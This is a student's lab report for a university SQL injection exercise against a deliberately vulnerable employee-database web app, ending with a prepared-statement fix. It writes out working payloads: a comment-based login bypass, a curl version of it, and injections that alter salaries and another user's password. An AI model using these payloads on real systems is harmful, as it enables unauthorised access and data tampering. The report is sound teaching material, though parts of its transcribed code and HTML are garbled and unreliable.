

The Laboratory of Information Security (UE19CS347)

Documented by Anurag.R.Simha

SRN: PES2UG19CS052 Name: Anurag.R.Simha

Date : 29/03/2022

Section : A Week : 6

The Table of Contents

The Setup	2
Task 1: Getting familiar with the SQL statements	2
1.1. Logging in	
Task 2: SQL Injection Attack on SELECT Statement	4
Task 2.1: SQL Injection Attack from webpage	8
Task 2.2: SQL Injection Attack from the command line	9
Task 2.3: Append a new SQL statement	10
Task 3: SQL Injection Attack on UPDATE Statement	11
Task 3.1: Modify your own salary	11
Task 3.2: Modify other people's salary	13
Task 3.3: Modify other people' password	15
Task 4: Countermeasure – Prepared Statement	18

The Setup

For the experimentation of various attacks, a single virtual machine was employed.

1. The attacker machine (10.0.2.39)

Task 1: Getting familiar with the SQL statements

The objective is to get familiar with SQL commands by playing with the provided database. A database called Users that contains a table called credential is created. The table stores the personal information (e.g. eid, password, salary, ssn, etc.) of every employee. MySQL is an open-source relational database management system.

1.1. Logging in

The command: mysql -u root -pseedubuntu

```
seed_PES2UG19CS052_Anurag.R.Simha@Attacker:~$ mysql -u root -pseedubuntu mysql: [Warning] Using a password on the command line interface can be insecure. Welcome to the MySQL monitor. Commands end with; or \g. Your MySQL connection id is 4
Server version: 5.7.19-Oubuntu0.16.04.1 (Ubuntu)

Copyright (c) 2000, 2017, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
```

Fig. 1(a): Log in.

a) Display databases.

The command: show databases;

b) Change to a database.

The command: use <database-name>;

c) Get the tables list.

The command: show tables;

Fig. 1(b): Gaining information.

d) Displaying the table contents:

mysql>	select	* from o	credential	where	name = 'Alio	ce';		l	
ID							Address		
1		10000	20000		10211002				
1 row		(0.00 sec	=)						

Fig. 1(c): Displaying the table details.

Changing the names:

The command:

```
UPDATE credential SET Name = 'Anurag.R.Simha' WHERE
Name = 'Alice';

UPDATE credential SET Name = 'Ankusha N' WHERE Name = 'Boby';
```

				Email	
Anurag.R.Simha					
Ryan					
Samy					

Fig. 1(d): The updated database.

Task 2: SQL Injection Attack on SELECT Statement

SQL injection is basically a technique through which attackers can execute their own malicious SQL statements generally referred as malicious payload. Through the malicious SQL statements, attackers can steal information from the victim database; even worse, they may be able to make changes to the database. The employee management web application has SQL injection vulnerabilities that mimic the mistakes frequently made by developers.

The authentication for any user to login to a website is done by a similar algorithm:

PES2UG19CS052 - Anurag.R.Simha


```
if(name=='admin') {
    return All employees information;
} else if (name !=NULL) {
    return employee information;
}
} else {
    Authentication Fails;
}
```

The above SQL statement selects personal employee information such as id, name, salary, ssn etc from the credential table. The SQL statement uses two variables input uname and hashed pwd, where input uname holds the string typed by users in the username field of the login page, while hashed pwd holds the shal hash of the password typed by the user. The program checks whether any record matches with the provided username and password; if there is a match, the user is successfully authenticated, and is given the corresponding employee information. If there is no match, the authentication fails.

1. A triumphant login

Username: Anurag.R.Simha

Password: seedalice






Fig. 2(a): A successful login.


UE19CS347 - Information Security

With the official username and password, therefore, the login is successful.

2. Unauthorised login

Username: Anurag.R.Simha

Password: sdkjnsdkjnskndssdjn







Fig. 2(b): A failed login attempt.

Henceforth, the match fails and the user's access to the webpage is denied.

3. Hacked login

Username: Anurag.R.Simha' #

PES2UG19CS052 - Anurag.R.Simha






Fig. 2(c): Hacked login.

The login was successful due to this reason:

Instead of executing this query,

```
SELECT * FROM credential WHERE Name = 'Anurag.R.Simha'
AND PASSWORD = ''
this query gets executed:


SELECT * FROM credential WHERE Name = 'Anurag.R.Simha'
#' AND PASSWORD = ''
All in all, the query that gets executed is,

SELECT * FROM credential WHERE Name = 'Anurag.R.Simha'
```

Task 2.1: SQL Injection Attack from webpage

The goal is to triumph the login as an administrator. Although the username is known, the password yet remains veiled. So, an SQL injection attack is performed.

Username: admin' #






Fig. 2.1(a): Logging in as an administrator.

The access to the webpage is indeed triumphant. This happens since,

```
SELECT * FROM credential WHERE Name = 'Admin'
AND PASSWORD = ''
```

becomes

```
SELECT * FROM credential WHERE Name = 'Admin'
#' AND PASSWORD = ''
```

Task 2.2: SQL Injection Attack from the command line

The attack performed in the previous task is now taken a stab on the command line.

Encoding:

Hash (#): %23

Space (): %20

Single quote ('): %27

The command: curl

'http://www.seedlabsqlinjection.com/unsafe_home.php?username=admin%27+%23&Password='

```
seed_PES2UG19CS052_Anurag.R.Simha@Attacker:~$ curl 'http://www.seedlabsqlinjection.com/unsafe_home.php?username=admin*27+%236Password='
<|--
SEED Lab: SQL Injection Education Web plateform
Author: Kailiang Ying
Email: kying@syr.edu
-->
<|--
SEED Lab: SQL Injection Education Web plateform
Enhancement Version 1
Date: 12th April 2018
Developer: Kuber Kohli

Update: Implemented the new bootsrap design. Implemented a new Navbar at the top with two menu options for Home and edit profile, with a button to logout. The profile details fetched will be displayed using the table class of bootstrap with a dark table head theme.

NOTE: please note that the navbar items should appear only for users and the page with error login message should not have any of these items at all. Therefore the navbar tag starts before the php tag but it end within the php script adding items as required.
-->
```


```
<!-- Bootstrap CBS ->
<!ink rel="stylesheet" href="css/bootstrap.min.css">
<!ink laref="css/style.home.css" types=text/css" rel="stylesheet">
<!-- Browser Tab title -->
<!-- Browser Tab title -->
<!-- Browser Tab title -->
<!-- Stocker Tab title -->
<!-- Stoc
```



Fig. 2.2(a): Bypassing login.

The HTML code snippet in figure 2.2(a) is where the spotlight is upon. For, that contains the code for the table.


(Optional: Viewing this on an HTML viewer slips out the required information.



Task 2.3: Append a new SQL statement

The target now is to put more than a single SQL statement into effect. The usage of semicolon is the impeccable choice for this purpose. Lead by the semicolon is the desired SQL statement which performs the action. The username resembles a query this time.

Username: admin'; DELETE FROM credential WHERE NAME = 'admin' #






Fig. 2.3(a): A delete attempt.

Alas, the attack failed.

The reason for this unfortunate failure is PHP's mysqli extension. The mysqli::query() API vetoes the execution of more than a single query. But, mysqli → multiquery() lacks this restriction. So, it could pose harm to the system and must be not used.

Task 3: SQL Injection Attack on UPDATE Statement

Task 3.1: Modify your own salary

To modify any record on the database via an SQL injection, a part of the update command must be entered. Here, the salary of Anurag.R.Simha is ascended by an SQL injection.

Before:



Fig. 3.1(a): Anurag.R.Simha's profile.

To modify the value, in the phone number field, an entry is injected.

The injection: 123', salary = 1000000 WHERE Name = 'Anurag.R.Simha' #

In the back-end, this value changes to UPDATE credential SET 'Phone
Number' = '123', salary = 1000000 WHERE Name =
'Anurag.R.Simha'

This action takes effect on the database altering the original value.




Fig. 3.1(b): Modifying a value.

After:




Fig. 3.1(c): The modified value.

Henceforth, the value got updated.

A testimony to this observation is noticeable on the command line.

Before:

	Salary			Email	NickName	
Anurag.R.Simha						
Ryan						
Samy						

After:



Fig. 3.1(d): The alteration in the database.

Task 3.2: Modify other people's salary

With a similar approach, the salary of Ankusha's is altered, but by Anurag.R.Simha.

These are the initial contents in Ankusha's profile:




Fig. 3.2(a): Ankusha's initial profile.

Anurag now logs in to her profile and injects this data in the phone number section of her profile.

The injection: 123', salary = 1 WHERE Name = 'Ankusha N' #




Fig. 3.2(b): Injecting the data.

Ankusha is now tormented to suffer with a salary of \$1.




Fig. 3.2(c): Ankusha's final profile.

Here's the testimony on the database.

Before:

	Salary			Email	
Anurag.R.Simha					
Ryan					
Samy					

After:

		birth	SSN		Email	
Anurag.R.Simha						
Samy						

Fig. 3.2(d): The altered value is visible on the database.

Task 3.3: Modify other people' password

This time the password of Ankusha is altered. The data is injected once again by Anurag on her profile.

```
The injection: 123', Password = sha1('changed_by_cs052') where Name = 'Ankusha N' #
```

Before:




Fig. 3.3(a): The original login credentials.

UE19CS347 - Information Security




Fig. 3.3(b): Injecting the data.

When Ankusha attempts to login by his official credentials the attempt fails. After:




Fig. 3.3(c): Failed login with the official credentials.

But the login was successful by the unofficial credentials.




Fig. 3.3(d): Successful login with the unofficial credentials.

Back in the database:

Before:

	redentia:	1; +				
		Salary		Address	Email	
Ryan						
Samy						

After:

		birth	PhoneNumber		
Anurag.R.Simha					
Ryan					
Samy					

Fig. 3.3(e): Visibility of the altered value in the database.

Task 4: Countermeasure – Prepared Statement

The fundamental problem of the SQL injection vulnerability is the failure to separate code from data. When constructing a SQL statement, the program (e.g. PHP program) knows which part is data and which part is code. Unfortunately, when the SQL statement is sent to the database, the boundary has disappeared; the boundaries that the SQL interpreter sees may be different from the original boundaries that was set by the developers. To solve this problem, it is important to ensure that the view of the boundaries is consistent in the server-side code and in the database. The most secure way is to use prepared statement. To understand how prepared statement prevents SQL injection, it's bound to understand what happens when SQL server receives a query. The high-level workflow of how queries are executed is shown in Figure 3. In the compilation step, queries first go through the parsing and normalisation phase, where a query is checked against the syntax and semantics. The next phase is the compilation phase where keywords (e.g., SELECT, FROM, UPDATE, etc.) are converted into a format understandable to machines. Basically, in this phase, query is interpreted. In the query optimization phase, a number of different plans are considered to execute the query, out of which the best optimised plan is chosen. The chosen plan is store in the cache, so whenever the next query comes in, it will be checked against the content in the cache; if it's already present in the cache, the parsing, compilation and query optimisation phases will be skipped. The compiled query is then passed to the execution phase where it is actually executed. Prepared statement comes into the picture after the compilation but before the execution step. A prepared statement will go through the compilation step, and be turned into a pre-compiled query with empty placeholders for data. To run this precompiled query, data need to be provided, but these data will not go through the compilation step; instead, they are plugged directly into the pre-compiled query, and are sent to the execution engine. Therefore, even if there is SQL code inside the data, without going through the compilation step, the code will be simply treated as part of data, without any special meaning. This is how prepared statement thwarts SQL injection attacks.




Figure 3: Prepared Statement Workflow

Here is an example of how to write a prepared statement in PHP. A SELECT statement is used in the following example. The use of prepared statement to rewrite the code that is vulnerable to SQL injection attacks is seen here.

Using the prepared statement mechanism, the process of sending a SQL statement to the database is divided into two steps. The first step is to only send the code part, i.e., a SQL statement without the actual the data. This is the prepare step. As seen in the above code snippet, the actual data are replaced by question marks (?). After this step, the data is sent to the database using bind_param(). The database will treat everything sent in this step only as data, not as code anymore. It binds the data to the corresponding question marks of the prepared statement. In the bind_param() method, the first argument "is" indicates the types of the parameters: "i" means that the data in \$id has the integer type, and "s" means that the data in \$pwd has the string type.

Previously:

Backend:

```
$conn = getDB();
  // Don't do this, this is not safe against SQL injection attack
  $sql="";
  if($input pwd!=''){
    // In case password field is not empty.
   $hashed_pwd = sha1($input_pwd);
    //Update the password stored in the session.
    $ SESSION['pwd']=$hashed pwd;
    $sql = "UPDATE credential SET
nickname='$input_nickname',email='$input_email',address='$input_address',Passw
ord='$hashed pwd',PhoneNumber='$input phonenumber' where ID=$id;";
  }else{
    // if passowrd field is empty.
    $sql = "UPDATE credential SET
nickname='$input nickname',email='$input email',address='$input address',Phone
Number='$input_phonenumber' where ID=$id;";
  $conn->query($sq1);
  $conn->close();
  header("Location: unsafe_home.php");
```

Home:

```
$conn = getDB();
    // Sql query to authenticate the user
    $sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address,
email,nickname,Password
    FROM credential
    WHERE name= '$input_uname' and Password='$hashed_pwd'";
    if (!$result = $conn->query($sql)) {
        echo "</div>";
        echo "</nav>";
        echo "<div class='container text-center'>";
        die('There was an error running the query [' . $conn->error . ']\n');
        echo "</div>";
    }
}
```

Fixed:

Backend:

```
$conn = getDB();
  // Don't do this, this is not safe against SQL injection attack
  $sql="";
  if($input_pwd!=''){
```


```
// In case password field is not empty.
    $hashed pwd = sha1($input pwd);
    //Update the password stored in the session.
    $ SESSION['pwd']=$hashed pwd;
    $sq1 = $conn->prepare("UPDATE credential SET nickname= ?,email= ?,address=
?,Password= ?,PhoneNumber= ? where ID=$id;");
    $sq1-
>bind_param("sssss",$input_nickname,$input_email,$input_address,$hashed_pwd,$i
nput phonenumber);
    $sql->execute();
   $sql->close();
  }else{
    // if passowrd field is empty.
    $sql = $conn->prepare("UPDATE credential SET
nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");
    $sal-
>bind_param("ssss",$input_nickname,$input_email,$input_address,$input_phonenum
ber);
    $sql->execute();
    $sql->close();
 $conn->close();
  header("Location: unsafe_home.php");
 exit();
```

Home:

```
$conn = getDB();
    // Sql query to authenticate the user
    $sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn,
phoneNumber, address, email,nickname,Password
    FROM credential
    WHERE name= ? and Password= ?");
    $sql->bind_param("ss", $input_uname, $hashed_pwd);
    $sql->execute();
    $sql->execute();
    $sql->bind_result($id, $name, $eid, $salary, $birth, $ssn, $phoneNumber,
$address, $email, $nickname, $pwd);
    $sql->fetch();
    $sql->close();
```

Logging in as admin:

Before:






Fig. 4(a): Vulnerable login.

After:

1. Entering the credentials




Fig. 4(b): The credentials are entered.

2. Redirecting




Fig. 4(c): Using the inspect element to redirect the page.

UE19CS347 - Information Security

3. Logging in




Fig. 4(d): The access is denied.

Henceforth, with the vulnerability repaired, any SQL injection attempted deliberately fails to triumph.
